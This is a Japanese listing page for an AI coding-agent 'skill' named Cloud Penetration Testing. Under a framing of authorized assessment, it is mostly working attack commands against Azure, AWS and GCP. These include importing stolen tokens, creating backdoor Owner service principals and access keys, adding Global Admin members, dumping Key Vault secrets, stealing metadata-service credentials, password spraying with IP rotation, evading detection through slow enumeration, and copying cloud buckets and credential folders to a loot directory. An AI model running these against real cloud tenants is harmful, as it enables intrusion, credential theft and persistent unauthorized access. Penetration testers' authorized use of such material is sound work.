mcpField
C
Cloud Penetration Testing

Cloud Penetration Testing

github.com/davila7セキュリティ33.0k234 回インストール1 日前に更新
リポジトリ

Cloud Penetration Testing について

Cloud Penetration Testingは、Azure、AWS、GCP環境を対象とする許可済みセキュリティ評価のスキルガイドです。クラウドセキュリティ担当者向けに、偵察、認証、リソース列挙、検証、報告の流れとコマンド、ツール、許可要件をまとめています。

主な機能

  1. 01Azure、AWS、GCPの評価手順
  2. 02偵察とリソース列挙
  3. 03認証と権限のテスト
  4. 04設定不備と露出の確認
  5. 05評価レポートと修正案

活用シーン

  1. 01許可を得たクラウド評価の実施
  2. 02クラウドリソースと権限の棚卸し
  3. 03ストレージやサービスの公開状態の確認
  4. 04発見事項と強化策の記録

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/davila7/claude-code-templates --skill cloud-penetration-testing

インストール後、Claude Code で/cloud-penetration-testingを入力して読み込まれたか確認します。

同梱ファイルreferences/advanced-cloud-scripts.md

詳細

クラウドペネトレーションテスト

目的

Microsoft Azure、Amazon Web Services (AWS)、Google Cloud Platform (GCP) にまたがるクラウドインフラストラクチャの包括的なセキュリティ評価を実施します。このスキルは、許可を得たクラウドセキュリティ診断のための、偵察、認証テスト、リソース列挙、権限昇格、データ抽出、永続化の手法を扱います。

前提条件

必要なツール
# Azure tools
Install-Module -Name Az -AllowClobber -Force
Install-Module -Name MSOnline -Force
Install-Module -Name AzureAD -Force

# AWS CLI
curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"
unzip awscliv2.zip && sudo ./aws/install

# GCP CLI
curl https://sdk.cloud.google.com | bash
gcloud init

# Additional tools
pip install scoutsuite pacu
必要な知識
  • クラウドアーキテクチャの基礎
  • Identity and Access Management (IAM)
  • API認証の仕組み
  • DevOps と自動化の概念
必要なアクセス権
  • テスト実施に関する書面による許可
  • テスト用の認証情報またはアクセストークン
  • 定義されたスコープと実施ルール

成果物

  1. クラウドセキュリティ評価レポート - 包括的な検出事項とリスク評価
  2. リソースインベントリ - 列挙されたサービス、ストレージ、コンピューティングインスタンス
  3. 認証情報の検出事項 - 露出したシークレット、キー、設定ミス
  4. 是正推奨事項 - プラットフォームごとの強化ガイダンス

基本ワークフロー

フェーズ 1: 偵察

対象のクラウド環境に関する初期情報を収集します。

# Azure: Get federation info
curl "https://login.microsoftonline.com/[email protected]&xml=1"

# Azure: Get Tenant ID
curl "https://login.microsoftonline.com/target.com/v2.0/.well-known/openid-configuration"

# Enumerate cloud resources by company name
python3 cloud_enum.py -k targetcompany

# Check IP against cloud providers
cat ips.txt | python3 ip2provider.py
フェーズ 2: Azure 認証

Azure 環境に認証します。

# Az PowerShell Module
Import-Module Az
Connect-AzAccount

# With credentials (may bypass MFA)
$credential = Get-Credential
Connect-AzAccount -Credential $credential

# Import stolen context
Import-AzContext -Profile 'C:\Temp\StolenToken.json'

# Export context for persistence
Save-AzContext -Path C:\Temp\AzureAccessToken.json

# MSOnline Module
Import-Module MSOnline
Connect-MsolService
フェーズ 3: Azure 列挙

Azure のリソースと権限を発見します。

# List contexts and subscriptions
Get-AzContext -ListAvailable
Get-AzSubscription

# Current user role assignments
Get-AzRoleAssignment

# List resources
Get-AzResource
Get-AzResourceGroup

# Storage accounts
Get-AzStorageAccount

# Web applications
Get-AzWebApp

# SQL Servers and databases
Get-AzSQLServer
Get-AzSqlDatabase -ServerName $Server -ResourceGroupName $RG

# Virtual machines
Get-AzVM
$vm = Get-AzVM -Name "VMName"
$vm.OSProfile

# List all users
Get-MSolUser -All

# List all groups
Get-MSolGroup -All

# Global Admins
Get-MsolRole -RoleName "Company Administrator"
Get-MSolGroupMember -GroupObjectId $GUID

# Service Principals
Get-MsolServicePrincipal
フェーズ 4: Azure エクスプロイト

Azure の設定ミスを悪用します。

# Search user attributes for passwords
$users = Get-MsolUser -All
foreach($user in $users){
    $props = @()
    $user | Get-Member | foreach-object{$props+=$_.Name}
    foreach($prop in $props){
        if($user.$prop -like "*password*"){
            Write-Output ("[*]" + $user.UserPrincipalName + "[" + $prop + "]" + " : " + $user.$prop)
        }
    }
}

# Execute commands on VMs
Invoke-AzVMRunCommand -ResourceGroupName $RG -VMName $VM -CommandId RunPowerShellScript -ScriptPath ./script.ps1

# Extract VM UserData
$vms = Get-AzVM
$vms.UserData

# Dump Key Vault secrets
az keyvault list --query '[].name' --output tsv
az keyvault set-policy --name <vault> --upn <user> --secret-permissions get list
az keyvault secret list --vault-name <vault> --query '[].id' --output tsv
az keyvault secret show --id <URI>
フェーズ 5: Azure 永続化

Azure で永続化を確立します。

# Create backdoor service principal
$spn = New-AzAdServicePrincipal -DisplayName "WebService" -Role Owner
$BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($spn.Secret)
$UnsecureSecret = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($BSTR)

# Add service principal to Global Admin
$sp = Get-MsolServicePrincipal -AppPrincipalId <AppID>
$role = Get-MsolRole -RoleName "Company Administrator"
Add-MsolRoleMember -RoleObjectId $role.ObjectId -RoleMemberType ServicePrincipal -RoleMemberObjectId $sp.ObjectId

# Login as service principal
$cred = Get-Credential  # AppID as username, secret as password
Connect-AzAccount -Credential $cred -Tenant "tenant-id" -ServicePrincipal

# Create new admin user via CLI
az ad user create --display-name <name> --password <pass> --user-principal-name <upn>
フェーズ 6: AWS 認証

AWS 環境に認証します。

# Configure AWS CLI
aws configure
# Enter: Access Key ID, Secret Access Key, Region, Output format

# Use specific profile
aws configure --profile target

# Test credentials
aws sts get-caller-identity
フェーズ 7: AWS 列挙

AWS のリソースを発見します。

# Account information
aws sts get-caller-identity
aws iam list-users
aws iam list-roles

# S3 Buckets
aws s3 ls
aws s3 ls s3://bucket-name/
aws s3 sync s3://bucket-name ./local-dir

# EC2 Instances
aws ec2 describe-instances

# RDS Databases
aws rds describe-db-instances --region us-east-1

# Lambda Functions
aws lambda list-functions --region us-east-1
aws lambda get-function --function-name <name>

# EKS Clusters
aws eks list-clusters --region us-east-1

# Networking
aws ec2 describe-subnets
aws ec2 describe-security-groups --group-ids <sg-id>
aws directconnect describe-connections
フェーズ 8: AWS エクスプロイト

AWS の設定ミスを悪用します。

# Check for public RDS snapshots
aws rds describe-db-snapshots --snapshot-type manual --query=DBSnapshots[*].DBSnapshotIdentifier
aws rds describe-db-snapshot-attributes --db-snapshot-identifier <id>
# AttributeValues = "all" means publicly accessible

# Extract Lambda environment variables (may contain secrets)
aws lambda get-function --function-name <name> | jq '.Configuration.Environment'

# Access metadata service (from compromised EC2)
curl http://169.254.169.254/latest/meta-data/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

# IMDSv2 access
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl http://169.254.169.254/latest/meta-data/profile -H "X-aws-ec2-metadata-token: $TOKEN"
フェーズ 9: AWS 永続化

AWS で永続化を確立します。

# List existing access keys
aws iam list-access-keys --user-name <username>

# Create backdoor access key
aws iam create-access-key --user-name <username>

# Get all EC2 public IPs
for region in $(cat regions.txt); do
    aws ec2 describe-instances --query=Reservations[].Instances[].PublicIpAddress --region $region | jq -r '.[]'
done
フェーズ 10: GCP 列挙

GCP のリソースを発見します。

# Authentication
gcloud auth login
gcloud auth activate-service-account --key-file creds.json
gcloud auth list

# Account information
gcloud config list
gcloud organizations list
gcloud projects list

# IAM Policies
gcloud organizations get-iam-policy <org-id>
gcloud projects get-iam-policy <project-id>

# Enabled services
gcloud services list

# Source code repos
gcloud source repos list
gcloud source repos clone <repo>

# Compute instances
gcloud compute instances list
gcloud beta compute ssh --zone "region" "instance" --project "project"

# Storage buckets
gsutil ls
gsutil ls -r gs://bucket-name
gsutil cp gs://bucket/file ./local

# SQL instances
gcloud sql instances list
gcloud sql databases list --instance <id>

# Kubernetes
gcloud container clusters list
gcloud container clusters get-credentials <cluster> --region <region>
kubectl cluster-info
フェーズ 11: GCP エクスプロイト

GCP の設定ミスを悪用します。

# Get metadata service data
curl "http://metadata.google.internal/computeMetadata/v1/?recursive=true&alt=text" -H "Metadata-Flavor: Google"

# Check access scopes
curl http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes -H 'Metadata-Flavor:Google'

# Decrypt data with keyring
gcloud kms decrypt --ciphertext-file=encrypted.enc --plaintext-file=out.txt --key <key> --keyring <keyring> --location global

# Serverless function analysis
gcloud functions list
gcloud functions describe <name>
gcloud functions logs read <name> --limit 100

# Find stored credentials
sudo find /home -name "credentials.db"
sudo cp -r /home/user/.config/gcloud ~/.config
gcloud auth list

クイックリファレンス

Azure の主要コマンド
アクションコマンド
ログインConnect-AzAccount
サブスクリプション一覧Get-AzSubscription
ユーザー一覧Get-MsolUser -All
グループ一覧Get-MsolGroup -All
現在のロールGet-AzRoleAssignment
VM 一覧Get-AzVM
ストレージ一覧Get-AzStorageAccount
Key Vault のシークレットaz keyvault secret list --vault-name <name>
AWS の主要コマンド
アクションコマンド
構成aws configure
呼び出し元 IDaws sts get-caller-identity
ユーザー一覧aws iam list-users
S3 バケット一覧aws s3 ls
EC2 一覧aws ec2 describe-instances
Lambda 一覧aws lambda list-functions
メタデータcurl http://169.254.169.254/latest/meta-data/
GCP の主要コマンド
アクションコマンド
ログインgcloud auth login
プロジェクト一覧gcloud projects list
インスタンス一覧gcloud compute instances list
バケット一覧gsutil ls
クラスター一覧gcloud container clusters list
IAM ポリシーgcloud projects get-iam-policy <project>
メタデータcurl -H "Metadata-Flavor: Google" http://metadata.google.internal/...
メタデータサービスの URL
プロバイダーURL
AWShttp://169.254.169.254/latest/meta-data/
Azurehttp://169.254.169.254/metadata/instance?api-version=2018-02-01
GCPhttp://metadata.google.internal/computeMetadata/v1/
便利なツール
ツール用途
ScoutSuiteマルチクラウドのセキュリティ監査
PacuAWS のエクスプロイトフレームワーク
AzureHoundAzure AD の攻撃経路マッピング
ROADToolsAzure AD の列挙
WeirdAALAWS サービスの列挙
MicroBurstAzure のセキュリティ評価
PowerZureAzure のポストエクスプロイト

制約と制限事項

法的要件
  • 明示的な書面による許可がある場合にのみテストを実施すること
  • クラウドアカウント間のスコープの境界を尊重すること
  • 本番環境の顧客データにアクセスしないこと
  • すべてのテスト活動を文書化すること
技術的な制限
  • MFA により、認証情報ベースの攻撃が防がれる場合があります
  • 条件付きアクセスポリシーによって、アクセスが制限される場合があります
  • CloudTrail/Activity Logs がすべての API 呼び出しを記録します
  • 一部のリソースには、特定のリージョンからのアクセスが必要です
検知に関する考慮事項
  • クラウドプロバイダーは、すべての API アクティビティをログに記録します
  • 通常と異なるアクセスパターンはアラートを発生させます
  • 低速で慎重な列挙を行ってください
  • GuardDuty、Security Center、Cloud Armor の利用を検討してください

例

例 1: Azure パスワードスプレー

シナリオ: Azure AD のパスワードポリシーをテストする

# Using MSOLSpray with FireProx for IP rotation
# First create FireProx endpoint
python fire.py --access_key <key> --secret_access_key <secret> --region us-east-1 --url https://login.microsoft.com --command create

# Spray passwords
Import-Module .\MSOLSpray.ps1
Invoke-MSOLSpray -UserList .\users.txt -Password "Spring2024!" -URL https://<api-gateway>.execute-api.us-east-1.amazonaws.com/fireprox
例 2: AWS S3 バケットの列挙

シナリオ: 設定ミスのある S3 バケットを見つけてアクセスする

# List all buckets
aws s3 ls | awk '{print $3}' > buckets.txt

# Check each bucket for contents
while read bucket; do
    echo "Checking: $bucket"
    aws s3 ls s3://$bucket 2>/dev/null
done < buckets.txt

# Download interesting bucket
aws s3 sync s3://misconfigured-bucket ./loot/
例 3: GCP サービスアカウントの侵害

シナリオ: 侵害されたサービスアカウントを足がかりにして横展開する

# Authenticate with service account key
gcloud auth activate-service-account --key-file compromised-sa.json

# List accessible projects
gcloud projects list

# Enumerate compute instances
gcloud compute instances list --project target-project

# Check for SSH keys in metadata
gcloud compute project-info describe --project target-project | grep ssh

# SSH to instance
gcloud beta compute ssh instance-name --zone us-central1-a --project target-project

トラブルシューティング

問題解決策
認証の失敗認証情報を確認する。MFA を確認する。正しいテナント/プロジェクトであることを確認する。別の認証方法を試す
アクセス拒否現在のロールを一覧表示する。別のリソースを試す。リソースポリシーを確認する。リージョンを確認する
メタデータサービスがブロックされているIMDSv2 を確認する (AWS)。インスタンスロールを確認する。169.254.169.254 へのファイアウォールを確認する
レート制限待機時間を追加する。複数のリージョンに分散する。複数の認証情報を使用する。価値の高いターゲットに絞る

参考資料

  • Advanced Cloud Scripts - Azure Automation ランブック、Function Apps の列挙、AWS でのデータ持ち出し、GCP の高度な悪用

コメント